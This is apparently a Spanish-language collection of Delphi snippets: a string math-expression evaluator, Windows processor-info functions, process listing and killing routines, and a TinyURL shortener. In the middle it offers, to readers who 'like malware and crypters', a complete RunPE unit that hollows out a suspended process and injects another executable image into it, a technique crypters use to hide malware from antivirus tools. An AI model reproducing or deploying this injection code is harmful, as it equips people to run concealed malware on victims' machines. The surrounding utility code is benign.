Funcion hecha en delphi para hacer operaciones matematicas como la suma,resta,multiplciacion y potencia
utilizando string

Ejemplo tenemos la operacion ---------->(5*3)+(2^4)-(2*-3) en vez de estar realizando la operacion paso por paso la metemos dentro de un string y la evaluamos directamente
con nuestra funcion y dara el resultado correcto

al utilizar la funcion es necesario especificar los operadores aritmeticos porque sino dara error
abajo les dejo un ejemplo de su uso

program Project2;
{$APPTYPE CONSOLE}
{$WriteableConst On}//esta directiva es necearia para modificar constantes
 
uses
  SysUtils,Math;
 
 
// Grammar:
        // expression = term | expression `+` term | expression `-` term
        // term = factor | term `*` factor | term `/` factor | term brackets
        // factor = brackets | number | factor `^` factor
        // brackets = `(` expression `)`
 
//Esta funcion utliza recursividad mutua
 
 
function EvaluarString(const str:string):double;
const
pos:integer=0;//inicia en cero para despues convertirse en 1
var
c:integer;
procedure eatChar; //va obteniendo caracter por caracter excepto los vacios
begin
  inc(pos);
  if pos<=length(str) then c:=ord(str[pos])
  else c:=0;
end;
procedure eatSpace; //come los espacions en blanco
begin
  while c=32 do eatChar;
end;
function parseExpresion:double; forward; //prototipo de la funcion
function parseTerm:double; forward;  //prototipo de la funcion
function parseFactor:double; forward;  //prototipo de la funcion
function parse:double;
var
v:double;
begin
  eatChar();
  v:=parseExpresion();
 
  if c<>0 then
  begin
    writeln('Error en el simbolo ',char(c));
    Result:=0.0;
    Exit;
  end;
  Result:=v;
end;
function parseExpresion:double;
var
v:double;
begin
   v:=parseTerm();
 
   while(true)do
   begin
 
     eatSpace();
 
     if c=ord('+') then //suma
     begin
       eatChar();
       v:=v+parseTerm();
     end
     else if c=ord('-') then  //resta
     begin
       eatChar();
       v:=v-parseTerm();
     end
     else
     begin
       Result:=v;
       break;//necesario si no entra en un bucle sin fin
     end;
   end;
end;
function parseTerm:double;
var
v:double;
begin
  v:=parseFactor();
  while True do
  begin
    eatSpace();
 
    if c=ord('/') then
    begin
      eatChar;
      v:=v/parseFactor;
    end
    else if((c=ord('*')) or (c=ord('('))) then  //multiplicacion
    begin
       if c=ord('*') then eatChar;
       v:=v*parseFactor();
    end
    else
    begin
      Result:=v;
      break;//necesario si no entra en un bucle sin fin
    end;
  end;
end;
function parseFactor:double;
var
v:double;
negate:boolean;
sb:string;
begin
  negate:=false;
  eatSpace;
 
  if c=ord('(') then
  begin
    eatChar;
    v:=parseExpresion;
 
    if c=ord(')') then eatChar;
  end
  else   //numeros
  begin
    if ((c=ord('+')) or (c=ord('-'))) then  //simbolos unarios positivo y negativo
    begin
      negate:=c=ord('-');
      eatChar;
      eatSpace;
    end;
 
    sb:='';
    while (((c>=ord('0'))and (c<=ord('9'))) or (c=ord('.'))) do
    begin
      sb:=sb+chr(c);
      eatChar;
    end;
 
 
    if length(sb)=0 then
    begin
      writeln('Error no existen caracterese en sb');
      result:=0.0;
      Exit;
    end;
 
    v:=strtofloat(sb);
  end;
  eatSpace;
  if c=ord('^') then  //exponente
  begin
    eatChar;
    v:=Math.Power(v,parseFactor);
  end;
 
  if negate then v:=-v;
  result:=v;
end;
begin
  result:=parse();//retorna la operacion
end;
 
 
var
e:double;
begin
  //Ejemplo de uso
  e:=EvaluarString('(5*3)+(5^2)');  //evaluar expresion
  writeln(e:0:2);//resultado 40
  readln;
end.

Funcion para obtener la arquitectura del sistema operativo

function getArchitecture:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.wProcessorArchitecture of
     0:result:='x86';
     9:result:='x64';
     else result:='unknown';
   end;
end;

Funcion para obtener el numero de procesadores

function numberOfProcessors:Dword;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   result:=sysInfo.dwNumberOfProcessors;
end;

Funcion para obtener el tipo de procesador

function ProcessorType:string;
var
sysInfo:SYSTEM_INFO;
begin
   GetSystemInfo(sysInfo);
   case sysInfo.dwProcessorType of
     220:result:='PROCESSOR_INTEL_IA64';
     386:result:='PROCESSOR_INTEL_386';
     486:result:='PROCESSOR_INTEL_486';
     586:result:='PROCESSOR_INTEL_PENTIUM_586';
     8664:result:='PROCESSOR_AMD_X8664';
     else result:='Unknown';
   end;
end;

Esta ultima funcion segun microsoft deberia estar obsoleta
no olviden añadir el use windows para poder usar las funciones

ejemplo de uso

begin
   writeln('Arquitectura de la computadora ',getArchitecture()); //en mi caso x86
   writeln('Numero de procesadores ',numberOfProcessors());
   writeln('Tipo de procesador ', ProcessorType());//esta funcion deberia estar obsoleta
   readln;
end.
 

Para los que les gusta el tema del malware y los crypter les traigo una traduccion que hice de un runpe originalmente hecho en c++

unit Unit1;
 
interface
uses windows;
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
 
implementation
 
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
procedure RtlZeroMemory(Destination:pointer;Length:DWORD);stdcall;external 'ntdll';
 
procedure run(szFilePath:LPSTR;pFile:PVOID);
var
IDH:PImageDosHeader;
INH:PImageNtHeaders;
ISH:PImageSectionHeader;
PI:PROCESS_INFORMATION;
SI:STARTUPINFOA;
CTX:PContext;
dwImageBase:PDWORD;
pImageBase:LPVOID;
count:Integer;
BitesRead:SIZE_T;
ByteWritten:SIZE_T;
ByteWritten2:SIZE_T;
ByteWritten3:SIZE_T;
begin
  IDH:=PImageDosHeader(pFile);
  if (IDH.e_magic=IMAGE_DOS_SIGNATURE) then
  begin
    INH:=PImageNtHeaders(DWORD(pFile)+IDH._lfanew);
    if INH.Signature=IMAGE_NT_SIGNATURE then
    begin
      RtlZeroMemory(@SI,sizeof(SI));
      RtlZeroMemory(@PI, sizeof(PI));
 
      if( CreateProcessA(szFilePath,nil,nil,nil,false,CREATE_SUSPENDED,nil,nil,SI,PI)) then
      begin
         CTX:=PContext(VirtualAlloc(nil,sizeof(CTX),MEM_COMMIT,PAGE_READWRITE));
         CTX.ContextFlags:=CONTEXT_FULL;
 
         if GetThreadContext(PI.hThread,_CONTEXT(CTX^)) then
         begin
           ReadProcessMemory(PI.hProcess,pointer(CTX.Ebx+8),pointer(@dwImageBase),4,BitesRead);
 
           if (Dword(dwImageBase)=INH.OptionalHeader.ImageBase) then
           begin
             NtUnmapViewOfSection(PI.hProcess,pointer(dwImageBase));
           end;
 
            pImageBase:= VirtualAllocEx(PI.hProcess, POINTER(INH.OptionalHeader.ImageBase), INH.OptionalHeader.SizeOfImage, 12288, PAGE_EXECUTE_READWRITE);
            if pImageBase<>nil then
            begin
              WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH.OptionalHeader.SizeOfHeaders, ByteWritten);
              for count := 0 to INH.FileHeader.NumberOfSections-1 do
              BEGIN
                  ISH:=PImageSectionHeader(DWORD(pFile) + IDH._lfanew+ 248 + (Count * 40));
                  WriteProcessMemory(PI.hProcess, pointer(DWORD(pImageBase) + ISH.VirtualAddress), pointer(DWORD(pFile) + ISH.PointerToRawData), ISH.SizeOfRawData, ByteWritten2);
              END;
 
               WriteProcessMemory(PI.hProcess, pointer(CTX.Ebx + 8), pointer(@INH.OptionalHeader.ImageBase), 4, ByteWritten3);
               CTX.Eax := DWORD(pImageBase) + INH.OptionalHeader.AddressOfEntryPoint;
               SetThreadContext(PI.hThread, _CONTEXT(CTX^));
               ResumeThread(PI.hThread);
            end;
 
         end;
 
      end;
 
    end;
 
  end;
   VirtualFree(ctx, 0, MEM_RELEASE)
 
end;
 
end.

Funciones para el tratamiento de procesos el codigo es extraido de club Delphi

uses
  SysUtils,windows,TlHelp32;
 
{obtener el nombre de los procesos activos}
procedure obtenerProcesos;
var
continuar:BOOL;
snapshotHandle:THandle;
processEntry32:TProcessEntry32;
begin
    { Creas un Handle para leer procesos }
   snapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   try
    { Creás un buffer de procesos }
    processEntry32.dwSize:=sizeof(processEntry32);
    { continuar es un flag que busca el siguiente proceso y, si hay, lo guarda en processEntry32 }
    continuar:=Process32First(snapshotHandle,processEntry32);
 
    while continuar do
    begin
       {muestra los procesos por consola}
       writeln(processEntry32.szExeFile);
       {busca el siguiente proceso si retorna false sale del bucle}
       continuar:=Process32Next(snapshotHandle,processEntry32);
    end;
   finally
     {cerramos el handle llamado snapshotHandle}
     CloseHandle(snapshotHandle);
   end;
end;
 
 
{compruba si un proceso esta activo a traves de su nombre}
function ProcessExists(AExeName: String): boolean;
var
  ContinueLoop: LongBool;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
begin
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase(AExeName);
  Result := False;
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) and NOT(Result) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    Result := (FExeFound = AExeName);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
  { Cerrás el Handle }
  CloseHandle(FSnapshotHandle);
end;
 
 
{mata algun proceso activo}
function ProcessKill(AExeName: String; Iterative: boolean = TRUE): boolean;
const
  TERMINATE = $0001;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcess: TProcessEntry32;
  FExeFound: TFileName;
Label NO_ITERATIVE;
begin
  Result := False;
  { Limpias el hacés un genérico para el FileName }
  AExeName := UpperCase((AExeName));
  { Creas un Handle para leer procesos }
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  { Creás un buffer de procesos }
  FProcess.dwSize := SizeOf(FProcess);
  { ContinueLoop es un flag que busca el siguiente proceso y, si hay, lo guarda en FProcess }
  ContinueLoop := Process32First(FSnapshotHandle, FProcess);
  while (ContinueLoop) do
  begin
    { Almacenás el nombre "genéroco" del proceso encontrado }
    FExeFound := UpperCase((ExtractFileName(FProcess.szExeFile)));
    if (FExeFound = AExeName) then
    begin
      Result := True;
      { Para matarlo lo debés abrir con el flag de TERMINATE }
      TerminateProcess(OpenProcess(TERMINATE, BOOL(0), FProcess.th32ProcessID),0);
      if NOT(Iterative) then { Si no es iterativo sale directamente a cerrar el Handle }
        GoTo NO_ITERATIVE;
    end;
    ContinueLoop := Process32Next(FSnapshotHandle, FProcess);
  end;
NO_ITERATIVE :
  CloseHandle(FSnapshotHandle);
end;
 
 
begin
 
  obtenerProcesos;//muestra el nombre de los procesos activos
  writeln;
  writeln('Existe calc.exe ',ProcessExists('calc.exe')); //es la calculadora de windows
  Writeln('Proceso matado ',ProcessKill('calc.exe'));
  readln;
end.
 

Funcion para acortar urls usando la api de tinyurl, les dejo la funcion y coomo usarla

uses
  SysUtils,idhttp;
 
function getShortUrl(const url: string): string;
var
http:TIdHTTP;
begin
  http:=TIdHTTP.Create(nil); //creamos el objeto
  try
   Result:=http.Get('http://tinyurl.com/api-create.php?url='+url); //retornamos la url
  finally
   http.Free;//liberamos el objeto
  end;
end;
 
 
//ejemplo de uso
var //declaramos variables
url:string;
urlCorta:string;
begin
  url:='https://www.google.com.mx'; //url original
  urlCorta:=getShortUrl(url); //obtenemos la url corta
  writeln('La url es: ',urlCorta);//la mostramos por pantalla
  Readln;
end.